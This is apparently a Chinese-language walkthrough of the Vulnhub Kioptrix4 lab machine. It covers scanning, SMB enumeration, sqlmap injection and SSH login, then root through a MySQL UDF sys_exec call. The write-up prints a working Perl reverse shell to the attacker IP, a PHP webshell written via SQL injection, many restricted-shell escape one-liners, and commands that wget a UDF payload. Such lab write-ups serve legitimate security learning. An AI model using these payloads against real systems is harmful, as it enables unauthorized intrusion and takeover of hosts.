Vulnhub Kioptrix4
0x01:埠掃描
主機發現
nmap -sn 192.168.231.0/24
全埠掃描
nmap --min-rate 10000 -p- 192.168.231.139
開放22ssh,80http,139netbios-ssn,445microsoft-ds,後兩個是smb服務
埠 139(NetBIOS-SSN):用於透過NetBIOS協議在區域網內實現檔案和印表機共享。雖然它是SMB的一部分,但它依賴於NetBIOS協議,通常用於較舊的Windows作業系統(Windows 95/98等)。
埠 445(Microsoft-DS):直接用於SMB協議的通訊,繞過NetBIOS。它是現代Windows作業系統(如Windows 2000及更高版本)中用於SMB通訊的標準埠。
UDP掃描
nmap -sU --min-rate 10000 -p- 192.168.231.139
也是一個smb服務
詳細埠掃描
nmap -sT -sC -sV -O --min-rate 10000 -p22,80,139,445 192.168.231.139
發現它可以guest匿名登入
漏洞掃描
nmap --script=vuln -p22,80,139,445 192.168.231.139
0x02:smb滲透
smbclient -L 192.168.231.139
我們再拿enum4linux掃一遍
enum4linux -a 192.168.231.139
發現幾個使用者,我們嘗試爆破ssh
hydra -l loneferret -P /usr/share/wordlists/rockyou.txt ssh://192.168.187.139
發現爆不出來,遂放棄
0x03:web滲透
掃目錄
dirsearch -u http://192.168.231.139
主頁面測了一下sql注入
報錯,可以sql注入
我們先用bp抓包,儲存到1.txt下
sqlmap -r 1.txt --level 5
sqlmap -r 1.txt --leval 5 --dbs
找到3個資料庫,我們一番查詢在member下找到
sqlmap -r 1.txt --leval 5 -D members --tabels
sqlmap -r 1.txt --leval 5 -D members -T members --dump
我們登入web頁面
兩個使用者都是這個介面
基本上沒有可以利用的東西,懷疑是ssh,試一試
ssh john@192.168.231.139
看來我們需要指定金鑰
ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.231.139
成功進入
0x04:許可權提升
我們發現這兩個使用者的許可權非常低
一些基本命令都執行不了,但是發現他能執行echo命令,我們嘗試echo逃逸
成功
sudo許可權檢視
sudo -l
我們看看另外一個使用者呢
也是不行的
檢視SUID位
find / -type f -perm -04000 -ls 2>/dev/null
發現sudoedit設定了S位,先用這個命令檢視是否有漏洞
sudoedit -s /
如果以
sudoedit:
開頭的報錯,那麼表明存在漏洞如果以
usage:
開頭的報錯,則不存在
發現存在漏洞,我們上傳指令碼
但是他沒有python3和gcc,於是另尋其路
沒有gcc的話,核心提權基本上就是不行了
看看自動任務
cat /etc/crontab
也沒有用
到這裡,基本上普通的提權方式就試完了,我們現在來嘗試不同的
我們先看mysql程序掛在哪個使用者下的
ps -Af | grep mysql
mysql位於root許可權下,我們登陸一下
mysql -u root
發現是匿名登入
我們先檢視secure_file_priv
是否為空
show global variables like '%secure%';
為空!這個時候我們可以先看看這臺靶機上是否有現成的so
檔案,如果有,我們就可以不用在本機上編譯了(本機上自帶1518.c進行參考)
在mysql
庫下的func
表中檢視
select * from mysql.func;
是存在的,我們直接反彈shell
select sys_exec('perl -e \'use Socket;$i="192.168.231.138";$p=44444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'')
成功!
0x05:思考反思
1.可以透過注入寫馬獲取www-data的shell
' union select 1,2,"<?php eval($_POST['shell']);?>" into outfile '/var/www/ma.php'#
2.limited shell
這裡是透過echo逃逸的,還有其他逃逸的方法
https://blog.csdn.net/qq_25924971/article/details/128884687
常用逃逸命令
- 如果允許使用“/”,則可以執行/bin/sh、/bin/bash
- 如果允許使用cp命令,則可以複製/bin/sh到當前目錄
- 使用ftp進行命令執行,執行 !/bin/sh
- 使用gdb進行命令執行,執行 !/bin/sh
- 使用more/man/less進行命令執行,執行 !/bin/sh
- 使用vim進行命令執行,執行 !/bin/sh
- 使用rvim執行
:python
,然後執行import os; os.system("/bin/bash )
- 使用scp,透過scp來傳入自己指令碼
- 使用awk,執行
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
- 使用find,執行
find / -name test -exec /bin/sh or /bin/bash \
程式語言逃逸
- 使用except,執行
except spawn sh then sh.
- 使用python,執行
python -c 'import os; os.system("/bin/sh")'
- 使用php,執行
php -a then exec("sh -i");
- 使用perl,執行
perl -e 'exec "/bin/sh";‘
- 使用lua,執行
os.execute('/bin/sh')
- 使用ruby,執行
exec "/bin/sh"
高階技術
- 透過ssh,
ssh username@IP - t "/bin/sh" or "/bin/bash"
- 透過ssh,
ssh username@IP -t "bash --noprofile"
- 透過ssh連線,並使用shellshock,
ssh username@IP -t "() { :; }; /bin/bash"
- 透過ssh連線,
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1
(SUID)- 透過git,執行
git help status
,然後執行!/bin/bash- 透過pico,執行
pico -s "/bin/bash"
,然後寫入/bin/bash,並且執行CTRL+T- 透過zip,執行
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
- 透過tar,執行
tar cf /dev/null testfile --checkpoint=1 --checkpoint- action=exec=/bin/bash
3. nmap的smb使用者列舉
nmap -sC --script=smb-enum-users 192.168.231.139
4.如果沒有自帶的so檔案,我們自己上傳一遍
由於在靶機上沒有gcc
,我們在本地編譯
/////本機
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
/////
/////靶機
wget 192.168.231.138:6666/raptor_udf2.so
mysql -u root -p
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
/////
但是倒數第二步報錯了。。。
看來還得是在靶機上編譯。。。
5.linenum向量列舉較為完全,但是如果為核心提權的話,則使用linpeas.sh